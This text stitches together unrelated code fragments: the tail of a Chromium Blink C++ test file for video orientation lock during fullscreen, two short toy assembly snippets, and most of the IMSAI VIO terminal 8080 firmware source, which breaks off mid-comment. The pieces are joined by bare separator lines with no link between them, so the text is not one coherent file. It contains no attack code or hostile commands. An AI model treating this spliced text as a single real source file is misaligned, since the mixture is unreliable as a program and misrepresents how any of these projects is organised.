// Initially fullscreen, locked orientation.
SimulateEnterFullscreen();
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Simulate user rotating their device to landscape (matching the screen
// orientation lock).
RotateDeviceTo(90 /* landscape primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should remain locked to landscape even
// though the screen orientation is now landscape, since the user has disabled
// auto rotate, so unlocking now would cause the device to return to the
// portrait orientation.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
EXPECT_TRUE(Video().IsFullscreen());
}
TEST_F(
MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
AutoRotateDisabledPortraitLockedLandscapeFullscreenBackToPortraitInline) {
// Naturally portrait device, initially portrait device orientation but locked
// to landscape screen orientation, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
// But this time the user has disabled auto rotate, e.g. locked to portrait
// (even though the app's landscape screen orientation lock overrides it).
SetIsAutoRotateEnabledByUser(false);
// Initially fullscreen, locked orientation.
SimulateEnterFullscreen();
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Simulate user clicking on media controls exit fullscreen button.
SimulateExitFullscreen();
EXPECT_FALSE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should unlock orientation.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
// Play the video and make it visible, just to make sure
// MediaControlsRotateToFullscreenDelegate doesn't react to the
// orientationchange event.
PlayVideo();
UpdateVisibilityObserver();
// Unlocking the orientation earlier will trigger a screen orientation change
// to portrait, since the user had locked the screen orientation to portrait,
// (which happens to also match the device orientation) and
// MediaControlsOrientationLockDelegate is no longer overriding that lock.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
// Video should remain inline, unlocked.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
EXPECT_FALSE(Video().IsFullscreen());
}
TEST_F(
MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
AutoRotateDisabledLandscapeLockedLandscapeFullscreenRotateToPortraitLockedLandscapeFullscreen) {
// Naturally portrait device, initially landscape device orientation yet also
// locked to landscape screen orientation since the user had disabled auto
// rotate, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
// The user has disabled auto rotate, e.g. locked to portrait (even though the
// app's landscape screen orientation lock overrides it).
SetIsAutoRotateEnabledByUser(false);
// Initially fullscreen, locked orientation.
SimulateEnterFullscreen();
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Simulate user rotating their device to portrait (matching the user's
// rotation lock, but perpendicular to MediaControlsOrientationLockDelegate's
// screen orientation lock which overrides it).
RotateDeviceTo(0 /* portrait primary */);
test::RunDelayedTasks(GetUnlockDelay());
// Video should remain locked and fullscreen. This may disappoint users who
// expect MediaControlsRotateToFullscreenDelegate to let them always leave
// fullscreen by rotating perpendicular to the video's orientation (i.e.
// rotating to portrait for a landscape video), however in this specific case,
// since the user disabled auto rotate at the OS level, it's likely that they
// wish to be able to use their phone whilst their head is lying sideways on a
// pillow (or similar), in which case it's essential to keep the fullscreen
// orientation lock.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
EXPECT_TRUE(Video().IsFullscreen());
}
TEST_F(
MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
AutoRotateDisabledLandscapeLockedLandscapeFullscreenBackToPortraitInline) {
// Naturally portrait device, initially landscape device orientation yet also
// locked to landscape screen orientation since the user had disabled auto
// rotate, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(640, 480);
// The user has disabled auto rotate, e.g. locked to portrait (even though the
// app's landscape screen orientation lock overrides it).
SetIsAutoRotateEnabledByUser(false);
// Initially fullscreen, locked orientation.
SimulateEnterFullscreen();
ASSERT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Simulate user clicking on media controls exit fullscreen button.
SimulateExitFullscreen();
EXPECT_FALSE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should unlock orientation.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
// Play the video and make it visible, just to make sure
// MediaControlsRotateToFullscreenDelegate doesn't react to the
// orientationchange event.
PlayVideo();
UpdateVisibilityObserver();
// Unlocking the orientation earlier will trigger a screen orientation change
// to portrait even though the device orientation is landscape, since the user
// had locked the screen orientation to portrait, and
// MediaControlsOrientationLockDelegate is no longer overriding that.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
// Video should remain inline, unlocked.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
EXPECT_FALSE(Video().IsFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
PortraitVideoRotateEnterExit) {
// Naturally portrait device, initially landscape, with *portrait* video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
InitVideo(480, 640);
SetIsAutoRotateEnabledByUser(true);
PlayVideo();
UpdateVisibilityObserver();
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user rotating their device to portrait triggering a screen
// orientation change.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
// MediaControlsRotateToFullscreenDelegate should enter fullscreen, so
// MediaControlsOrientationLockDelegate should lock orientation to portrait
// (even though the screen is already portrait).
EXPECT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::PORTRAIT,
DelegateOrientationLock());
// Device orientation events received by MediaControlsOrientationLockDelegate
// will confirm that the device is already portrait.
RotateDeviceTo(0 /* portrait primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should lock to "any" orientation.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
EXPECT_TRUE(Video().IsFullscreen());
// Simulate user rotating their device to landscape triggering a screen
// orientation change.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
// MediaControlsRotateToFullscreenDelegate should exit fullscreen.
EXPECT_FALSE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should unlock screen orientation.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
LandscapeDeviceRotateEnterExit) {
// Naturally *landscape* device, initially portrait, with landscape video.
natural_orientation_is_portrait_ = false;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 270));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
PlayVideo();
UpdateVisibilityObserver();
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user rotating their device to landscape triggering a screen
// orientation change.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 0));
// MediaControlsRotateToFullscreenDelegate should enter fullscreen, so
// MediaControlsOrientationLockDelegate should lock orientation to landscape
// (even though the screen is already landscape).
EXPECT_TRUE(Video().IsFullscreen());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Device orientation events received by MediaControlsOrientationLockDelegate
// will confirm that the device is already landscape.
RotateDeviceTo(0 /* landscape primary */);
test::RunDelayedTasks(GetUnlockDelay());
// MediaControlsOrientationLockDelegate should lock to "any" orientation.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
EXPECT_TRUE(Video().IsFullscreen());
// Simulate user rotating their device to portrait triggering a screen
// orientation change.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 270));
// MediaControlsRotateToFullscreenDelegate should exit fullscreen.
EXPECT_FALSE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should unlock screen orientation.
CheckStatePendingFullscreen();
EXPECT_FALSE(DelegateWillUnlockFullscreen());
}
TEST_F(MediaControlsOrientationLockAndRotateToFullscreenDelegateTest,
ScreenOrientationRaceCondition) {
// Naturally portrait device, initially portrait, with landscape video.
natural_orientation_is_portrait_ = true;
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kPortraitPrimary, 0));
InitVideo(640, 480);
SetIsAutoRotateEnabledByUser(true);
// Initially inline, unlocked orientation.
ASSERT_FALSE(Video().IsFullscreen());
CheckStatePendingFullscreen();
ASSERT_FALSE(DelegateWillUnlockFullscreen());
// Simulate user clicking on media controls fullscreen button.
SimulateEnterFullscreen();
EXPECT_TRUE(Video().IsFullscreen());
// MediaControlsOrientationLockDelegate should lock to landscape.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// This will trigger a screen orientation change to landscape.
ASSERT_NO_FATAL_FAILURE(
RotateScreenTo(mojom::blink::ScreenOrientation::kLandscapePrimary, 90));
// Even though the device is still held in portrait.
RotateDeviceTo(0 /* portrait primary */);
// MediaControlsOrientationLockDelegate should remain locked to landscape
// indefinitely.
test::RunDelayedTasks(GetUnlockDelay());
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Now suppose the user actually rotates from portrait-primary to landscape-
// secondary, despite the screen currently being landscape-primary.
RotateDeviceTo(270 /* landscape secondary */);
// There can be a significant delay, between the device orientation changing
// and the OS updating the screen orientation to match the new device
// orientation. Manual testing showed that it could take longer than 200ms,
// but less than 250ms, on common Android devices. Partly this is because OSes
// often low-pass filter the device orientation to ignore high frequency
// noise.
//
// During this period, MediaControlsOrientationLockDelegate should
// remain locked to landscape. This prevents a race condition where the
// delegate unlocks the screen orientation, so Android changes the screen
// orientation back to portrait because it hasn't yet processed the device
// orientation change to landscape.
constexpr base::TimeDelta kMinUnlockDelay =
base::TimeDelta::FromMilliseconds(249);
static_assert(GetUnlockDelay() > kMinUnlockDelay,
"GetUnlockDelay() should significantly exceed kMinUnlockDelay");
test::RunDelayedTasks(kMinUnlockDelay);
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Simulate the OS processing the device orientation change after a delay of
// `kMinUnlockDelay` and hence changing the screen orientation.
ASSERT_NO_FATAL_FAILURE(RotateScreenTo(
mojom::blink::ScreenOrientation::kLandscapeSecondary, 270));
// MediaControlsOrientationLockDelegate should remain locked to landscape.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::LANDSCAPE,
DelegateOrientationLock());
// Wait for the rest of the unlock delay.
test::RunDelayedTasks(GetUnlockDelay() - kMinUnlockDelay);
// MediaControlsOrientationLockDelegate should've locked to "any" orientation.
CheckStateMaybeLockedFullscreen();
EXPECT_EQ(device::mojom::ScreenOrientationLockType::ANY,
DelegateOrientationLock());
EXPECT_TRUE(DelegateWillUnlockFullscreen());
}
} // namespace blink
|
.main
MOVIL r0 5 # x = 5
BUC 1
.L3
SUBI r0 1
.L2
CMPI r0 5
BEQ -3 # 1111_1101
ADD r1 r0 # x = 4
|
mov r1, .0
cne r1, .1
cout .1
cne r1, .0
cflip
cout .1
cne r1, .0
cout .0
|
;*************************************************************
; VIO TERMINAL FIRMWARE REQUIRES REFRESH MEMORY TO BE AT
; F000 AND FIRMWARE ITSELF AT F800
; COPYRIGHT IMSAI MANUFACTURING COMPANY
; SAN LEANDRO, CALIFORNIA
; 6/1/77
;
; MODIFIED TO ASSEMBLE WITH INTEL 8080 CROSS ASSEMBLER
; AND PRETTIFIED SOURCE
; UDO MUNK
; 1/3/2017
;
; CHANGED DEFINITIONS OF SYSRAM VARIABLES FROM DB/DW TO DS
; SO THAT NO CODE IS EMITTED
; UDO MUNK
; 02/17/2017
;**************************************************************
REFRESH EQU 0F000H ;REFRESH MEMORY ON VIO
SYSRAM EQU 0F780H ;SYSTEM RAM
VIOFM EQU 0F800H ;FIRMWARE BEGINNING
ORG VIOFM+7FDH
DB 'VI0' ;SYSTEM IDENTIFIER
CTRPORT EQU REFRESH+7FFH ;HARDWARE CONTROL WORD
ORG SYSRAM
CURLIN: DS 1 ;CURRENT LINE # 0-23
CURCOL: DS 1 ;CURRENT COL # 0-79
INVIDIO:DS 1 ;INVERSE VIDIO MODE(BY CHAR)
VDIMDE: DS 1 ;MODE 0=GRAPHICS, NOT 0= TEXT
INSRT: DS 1 ;INSERTING CHARS MODE
ESCCNT: DS 1 ;ESCAPE CHAR COUNT
ESCCDE: DS 1 ;ESCAPE CODE LAST USED
USRCTR: DS 2 ;USER CTR TBLE PTR, NON ZERO
USRESC: DS 2 ;USER ESCAPE TBLE PTR,NON ZERO
USERCMD:DS 2 ;USER MONITOR COMMAND TABLE
RAMPTR: DS 2 ;RAM SPACE PTR WITH DIRECT I/O
CURPTR: DS 2 ;CURSOR ADDRESS
PRTMD: DS 1 ;PROTECTED MODE 0=NO
CCUR: DS 1 ;CHAR UNDER CURSOR(FOR GRAPHICS MODE)
CCHAR: DS 1 ;CURRENT CHARACTER TO DISPLAY
CTRLC: DS 1 ;CONTROL WORD AS FOLLOWS
; 7 SCROLL MODE 0=SCROLL,1=WRAP
; 6 UNUSED
; 5 UP/LOW 0=UP,1=UP+LOW
; 4 1=INVERSE VIDIO SCREEN
; 3 00=BLANK,01=LOW128+INV,10=HIGH128+INV
; 2 11=256 CHAR GRAPHICS
; 1 #LINES 0=24,1=12
; 0 #CHARS 0=80,1=40
TAB EQU $
ORG $+10 ;80 BITS FOR TAB CONTROL
CLINE: DS 2 ;CHARS/LINE
LPAGE: DS 1 ;LINES/PAGE-1
NCHARS: DS 2 ;#CHARS ON DISPLAY
PRUPRF: DS 1 ;TRANSITION PROTECT FLAG
USERF: DS 1 ;ENTRY POINT FLAG 0=INIT48,1=CHAR48,2=USER
LASTC: DS 2 ;LAST CHAR ON SCREEN PTR+1
;***********************************
; USER ENTRY POINTS
;***********************************
ORG VIOFM
JMP INIT ;INITIALIZATION POINT
JMP CHAROUT ;CHARACTER OUTPUT
JMP MONT ;MONITOR ENTRY POINT
VIOTEST:LXI SP,SYSRAM+7EH
CALL INIT
CALL CHIN
JMP VIOTEST+6 ;DEMO TESTER
;**********************************************
INIT: PUSH H
PUSH D
PUSH B
PUSH PSW
LXI H,CURLIN ;START OF ZEROED AREA
MVI B,CLINE-CURLIN AND 0FFH
XRA A
INIT1: MOV M,A ;ZERO AREA
INX H
DCR B
JNZ INIT1
LXI H,REFRESH ;BEGIN CURSOR POS
SHLD CURPTR
LXI H,1920 ;DEFAULT CHARS/SCREEN
SHLD NCHARS
CALL BLNKS ;CLEAR SCREEN AND HOME
MVI A,8H ;DEFAULT 80X24 SCREEN TEXT MODE
LXI D,BMP1 ;SET UP RETURN ADDR
PUSH D
;SUBROUTINE TO SET HARDWARE CONTROL PORT
SETCMD: STA CTRLC
STA CTRPORT ;HARDWARE CONTROL PORT
CMA
ANI 3
RRC ;FINDING NCHARS ON SCREEN
LXI H,40 ;COLS/LINE
JNC $+4 ;ENOUGH
DAD H ;COLS/LINE=80
SHLD CLINE
LXI H,LPAGE ;PT AT LINES/PAGE
MVI M,11
RAR
JNC $+5
MVI M,23
LXI H,480 ;COUNT FOR 12 X 40 SCREEN
JNC $+4
DAD H
ORA A ;SET FLAGS
JZ $+4
DAD H
SHLD NCHARS
LXI D,REFRESH
DAD D
SHLD LASTC ;LAST CHAR ON SCREEN PTR+1
LDA CTRLC ;CONTROL CODE
ANI 0CH ;MODE BITS ONLY
XRI 0CH
STA VDIMDE ;0=GRAPHICS
;CHECK CURSOR WITHIN POSSIBLE NEW BOUNDS
ESCRET: XRA A
STA ESCCNT ;COUNT=0
RET
;****************************************************************
; THIS IS THE NORMAL ENTRY POINT FOR COMMUNICATING WITH THE
; VIDIO MONITOR AS YOU WOULD A CRT.
;****************************************************************
CHAROUT:PUSH H
PUSH D
PUSH B
PUSH PSW
STA CCHAR
LHLD CURPTR ;CURSOR POSITION
LDA CCUR ;CHAR UNDER CURSOR
MOV M,A ;REMOVE CURSOR
LXI H,CCHAR ;PT AT CURRENT CHAR
MOV A,M ;GET CHAR
CPI 1BH ;ESCAPE CHAR?
JZ ESCAPE
LDA ESCCNT ;ARE WE IN ESCAPE SEQ ALREADY?
ORA A
JNZ ESCAPE ;YES
MOV A,M ;CURRENT CHAR
CPI 7FH ;DELETE CHAR (RUBOUT)?
JZ NOUSER+3 ;YES
LDA VDIMDE ;GRAPHICS MODE?
ORA A
JZ CHAR1 ;YES
MOV A,M
CPI 0FFH ;DUMMY PAD FROM USER?
JZ BMP1 ;YES
ANI 7FH ;STRIP PARITY BIT
MOV M,A
SBI 20H ;CONTROL CODE?
JM CONTROL ;YES
LDA CTRLC ;CONTROL WORD
MOV B,A ;TMP SAVE
ANI 0CH ;MODE ONLY
CPI 08H ;LOW HALF OF CHAR GEN ROM?
JNZ CHAR1 ;NO,UPPER HALF
MOV A,B ;CONTROL WORD
ANI 20H ;UP/LOW CASE
JNZ CHAR1 ;LOWER OK AS IS
MOV A,M ;CURRENT CHAR
SBI 61H ;LOWER CASE A
JM CHAR1 ;NOT ALPHA
SBI 7BH-61H
JP CHAR1 ;NOT ALPHA
ADI 7BH-20H ;RESTORE AND CONVERT TO UPPER CASE
MOV M,A
CHAR1: CALL INSCHR ;INSERT CCHAR AT CURSOR POS
CALL BMPCUR
BMP10: CALL CALPOS ;CURSOR POS
BMP1: CALL INSCURS ;INSERT CURSOR
POP PSW
POP B
POP D
POP H
RET
BMPCUR EQU $
CALL BMPC ;BUMP CURSOR CHAR POSITION
CZ BMPC1 ;DO LINE FEED
LDA PRTMD ;PROTECT MODE?
XCHG ;H,L=CURRENT CURSOR PTR
ANA M ;IS IT PROTECTED?
JM BMPCUR ;YES,SKIP PROTECTED FIELD
RET ;GO INSERT CURSOR
LFEED: LXI H,CURLIN
BMPC1: INR M
LDA LPAGE ;MAX LINES/PAGE
CMP M ;EXCEED MAX?
RP
DCR M ;LEAVE AT LAST LINE
;********************************************
;SCROLL UP OR WRAP AROUND AS SET BY CTRLC
;********************************************
SCROLL: LDA CTRLC ;KIND OF SCROLL?
ANI 8CH ;LEAVE SCROLL AND MODE BITS
JM SCR3 ;WRAP AROUND
CPI 0CH ;GRAPHICS MODE
JNZ SCR1 ;NO, ALLOW SCROLL
SCR3: XRA A
MOV M,A ;HOME CURSOR FOR WRAP AROUND
INX H
MOV M,A
RET
SCR1: LHLD CLINE ;COLS/LINE
PUSH H ;SAVE COLS/LINE
XCHG
LHLD NCHARS ;# CAHRS PER PAGE
MOV A,L
SUB E
MOV C,A
MOV B,H
XCHG
LXI D,REFRESH
DAD D ;HL=SOURCE,DE=DEST.
CALL MVCUP
SCR2: JMP DLN1 ;ERASE CURRENT LINE AND RETURN
;******************************
;PROCESS CONTROL CODES
;******************************
CONTROL:XCHG ;D,E=CCHR PTR
LHLD USRCTR ;USER TABLE IF ANY
MOV A,H
ORA A
LDAX D ;CCHAR IN A
JZ NOUSER ;NO TABLE USER DEFINED
CALL LOOKUP
JNZ FNDCTRL ;FOUND TABLE ENTRY
NOUSER: LDA CCHAR
LXI H,CTRTBL
CALL LOOKUP
JZ BMP1 ;NOT FOUND
FNDCTRL:LXI D,BMP10 ;RETURN ADDRESS
PUSH D ;ON STACK
LXI D,CURCOL
PCHL
;****************************************
;PROCESS ESCAPE SEQUENCES
;****************************************
ESCAPE: LXI D,BMP10 ;RETURN ADDR
PUSH D
XCHG
LXI H,ESCCNT
MOV A,M ;ESCCAPE COUNT
INR M ;ESCCNT=ESCCNT+1
ORA A
RZ
DCR A
INX H
LDAX D ;GET CCHAR
JNZ ESC1 ;ESCCNT>1
MOV M,A ;SAVE ESCAPE CODE
ESC1: LHLD USRESC ;USER ESCAPE TABLE PTR
MOV A,H
ORA A
LDAX D ;ESCCODE
JZ NUESC ;NO USER DEFINED TABLE
CALL LOOKUP ;LOOKUP IN USERS TABLE
JNZ FNDESC ;FOUND ESCAPE SEQ IN USER
NUESC: LDA ESCCDE ;TRY AGAIN IN VIO TABLE
ANI 0DFH ;REMOVE LOWER CASE BIT
LXI H,ESCTBL
CALL LOOKUP
JZ ESCRET ;NOT FOUND
FNDESC: LDA CTRLC
LXI D,SETCMD
PCHL
;************************
;CURSOR CONTROL
;************************
UPLINE: DCX D ;D,E=CURLIN PTR
BCKLNE: LDAX D ;D,E=CURLIN OR CURCOL
ORA A ;SET FLAGS
RZ
DCR A ;BACK UP 1
BCKL1: STAX D
RET
CRET: XRA A
STA INSRT ;REMOVE INSERT MODE
JMP BCKL1
;**********************************
;TOGGLE PROTECTED MODE FLAG
;**********************************
PRTECT: LXI H,PRTMD ;PT AT FLAG
JMP INSMDE+3 ;GO TOGGLE IT
;*************************************
;TOGGLE INSERT MODE FLAG
;*************************************
INSMDE: LXI H,INSRT
MOV A,M
CMA
MOV M,A
RET
;***********************
;BLANK SCREEN AND HOME
;***********************
BLNKS: LHLD NCHARS ;#CHARS ON SCREEN
XCHG
LXI H,REFRESH
BLNK1: LDA PRTMD ;IN PROTECTED MODE?
ANI 80H
ANA M ;PROTECTED?
JM BLNK2 ;IS PROTECTED, DO NOT BLANK
MVI M,' '
BLNK2: INX H
DCX D
MOV A,D
ORA E ;DONE YET?
JNZ BLNK1 ;NO
HOME: LXI H,0
SHLD CURLIN
RET
;***********************************************
;BLANK FROM CURSOR TO END OF UNPROTECTED FIELD
;***********************************************
BLANKL: CALL CHARLN ;CALC # CHARS TO END OF FIELD
BLAN3: LDA PRTMD ;PROTECTED MODE?
ORA A
JZ BLAN1 ;NOT PROTECTED,SKIP CHECK
MOV A,M ;GET CHAR
ORA A
JM BLAN1+3 ;IS PROTECTED,DO NOT BLANK
BLAN1: MVI A,' '
MOV M,A ;INSERT BLANK
INX H ;NEXT CHAR
DCR C ;COUNT
JNZ BLAN3
RET
;**********************************************
;TURN ON PROTECTED FIELD/TURN OFF PROT FIELD
;**********************************************
PROTC: LXI H,INVIDIO ;PT AT INVERTED VIDIO FLAG
JMP INSMDE+3
;****************************************************
;DELETE CHAR AND SHIFT PROTECTED FIELD LEFT ONE PLACE
;****************************************************
DELETE: CALL CHARLN
LHLD CURPTR ;CURSOR POSITION
MOV D,H
MOV E,L
INX H
CALL MVCUP ;SHIFT LINE LEFT ONE PLACE
MVI A,' '
DCX D ;BACK UP ONE
STAX D ;INSERT FINAL BLANK
RET
;**********************************************************
;CALC # CHARS FROM CURSOR TO END OF UNPROT FIELD INCLUSIVE
; RETURN H,L=CURSOR PTR
;**********************************************************
CHARLN: LDA PRTMD ;PROTECT MODE FLAG
ANI 80H
MOV D,A ;SAVE PROTECT MODE BIT
LHLD CURPTR ;CURSOR POSITION
PUSH H
LDA CURCOL
MOV E,A ;E=CURRENT COLUMN
LXI B,0 ;# CHARS TO END
CHRL1: LDA CLINE ;COLS/LINE
SUB E
INR E
INX H
INR C ;COUNT INCREASED
DCR A ;DNE YET WITH LINE
JZ CHRL2 ;END OF LINE RETURN
MOV A,M ;H,L=END +1
ANA D ;PROTECTED?
JP CHRL1 ;NO, KEEP GOING
CHRL2: POP H ;CURSOR POSITION
RET
;*******************************************************************
;TABLE LOOK UP ROUTINE. SEARCHES FIRST BYTE OF THREE BYTE TABLE OF
;RECORDS FOR A MATCH OR ZERO. ZERO INDICATES END OF TABLE WITH NO
;MATCH, RETURNED IN A REG.H,L LOADED WITH SECOND TWO BYTES OF TABLE
;IF MATCH FOUND.
;*******************************************************************
LOOKUP: MOV B,A ;SAVE
MOV A,M ;GET FIRST BYTE OF RECORD
LXI D,CURLIN
ORA A
RZ ;DONE,NO MATCH
CMP B ;SAME AS REQUESTED?
JNZ TBLUP1 ;NO
INX H
MOV E,M
INX H
MOV D,M
XCHG
ORA A ;SET FLAGS
RET
TBLUP1: INX H
INX H
INX H ;BUMP TO NEXT RECORD
JMP LOOKUP+1 ;
;*************************************************
;DELETE CURRENT LINE AND RETURN CURSOR
;*************************************************
DLINE: CALL NMCHM ;SET UP FOR MOVE
PUSH H ;SAVE COLS/LINE
DAD D ;H,L=SOURCE BEGIN
CALL MVCUP
DLN1: POP B ;COLS/LINE
XCHG
JMP EN1 ;ERASE LINE
;***********************************************
;ENTER NEW LINE AT CURSOR LINE,PUSH BOTTOM DOWN
;***********************************************
ENLINE: CALL NMCHM ;SET UP FOR MOVE
PUSH H ;SAVE COLS/LINE
DAD D ;H,L=SOURCE BEGIN
DAD B ;H,L=END OF DEST+1
XCHG
DAD B ;H,L=END OF SOURCE+1
DCX H
DCX D
CALL MVCDN ;MOVE DOWN 1 LINE
POP B
INX H
EN1: MVI M,' '
INX H
DCR C
JNZ EN1
RET
NMCHM: XRA A
STAX D ;COL=0
CALL CHARSN ;#CHARS TO END OF SCREEN
XCHG ;D,E=DEST.
LHLD CLINE ;COLS/LINE
MOV A,L ;COLS/LINE
DCX B
DCR A
JNZ $-2 ;DECREASE COUNT BY ONE LINES WORTH
RET
;********************************************
;CALC # CHARS TO END OF SCREEN FROM CURSOR
;********************************************
CHARSN: CALL CALPOS
PUSH H ;SAVE
XCHG ;D,E=CURSOR POS
LHLD LASTC ;LAST CHAR POSITION+1
MOV A,D
CMA
MOV D,A
MOV A,E
CMA
MOV E,A
INX D ;COMPLIMENT D,E
DAD D ;H,L=# CHARS TO END-1
PUSH H
POP B ;B,C=#CHARS TO END
POP H ;CURRENT POSITION CURSOR
RET
;************************
;ESCAPE CODE PROCESSING
;************************
HIGH128:ANI 0F3H
ORI 4H
XCHG ;H,L=SETCMD ADDR
PCHL
;GRAPHIC MODE 256 CHAR ROM,NO INVERSE VIDIO
GRAPHIC:ORI 0CH
XCHG ;H,L=SETCMD ADDR
PCHL
;LOWER HALF OF ROM+REVERSE VIDIO
LOW128: ANI 0F3H
ORI 8H
XCHG ;H,L=SETCMD ADDR
PCHL
;SCROLL TOGGLE
SCRL: XRI 80H
XCHG ;H,L=SETCMD ADDR
PCHL
;UPPER LOWER CASE TOGGLE
UPLOW: XRI 20H
XCHG ;H,L=SETCMD ADDR
PCHL
;INVERSE VIDIO TOGGLE
VIDIO: XRI 10H
XCHG ;H,L=SETCMD ADDR
PCHL
;# LINES PER PAGE SWITCH
LINES: XRI 02H
XCHG ;H,L=SETCMD ADDR
PCHL
;#COLS/LINE TIGGLE
COLS: XRI 01H
XCHG ;H,L=SETCMD ADDR
PCHL
;**************************************
;INSERT CURSOR CHAR AT PROPER POSITION
;**************************************
INSCURS:LHLD CURPTR
MOV A,M
STA CCUR ;SAVE CHAR UNDER CURSOR FOR GRAPHICS MODE
ORI 80H ;BIT 7 FOR INVERSE VIDIO
MOV M,A ;STORE BACK
LDA VDIMDE
ORA A
RNZ ;NO GRAPHICS
MVI M,7FH ;BLOCK FOR GRAPHICS MODE
RET
;*****************************************
;CLEAR TABS
;*****************************************
CLRTBS: LXI H,TAB ;TABS BITS
MVI B,10 ;#BYTES FOR TABS
XRA A
CLRT1: MOV M,A
INX H
DCR B
JNZ CLRT1
JMP ESCRET ;PUT IN CURSOR
;***********************************
;SET OR CLEAR TAB TOGGLE BIT
;***********************************
SETTAB: CALL FNDTB
XRI 80H ;INVERT TAB BIT
SETD2: RRC
DCR B
JNZ SETD2
STAX D ;STORE TAB BYTE
JMP ESCRET ;DO CURSOR
;FIND TAB BIT, LEAVE IN A REG BIT 7
FNDTB: LDA CURCOL ;COL #
MOV H,A
INR H
LXI D,TAB ;WORD PTR
FNDT1: MVI C,8 ;BIT COUNTER
DCR H
JZ FNDTDN ;FOUND IT
DCR C ;BIT COUNTER
JNZ FNDT1+2
INX D ;PT AT NEXT BYTE
JMP FNDT1
FNDTDN: LDAX D ;GET TAB BYTE BITS
MOV B,C ;SAVE COUNT OF BITS
FNDT2: RLC
DCR C
JNZ FNDT2 ;ROTATE UNTIL FOUND
RET
;*****************************************************************
;TAB TO BEGINNING OF NEXT UNPROTECTED FIELD OR TAB OR HOME IF NONE
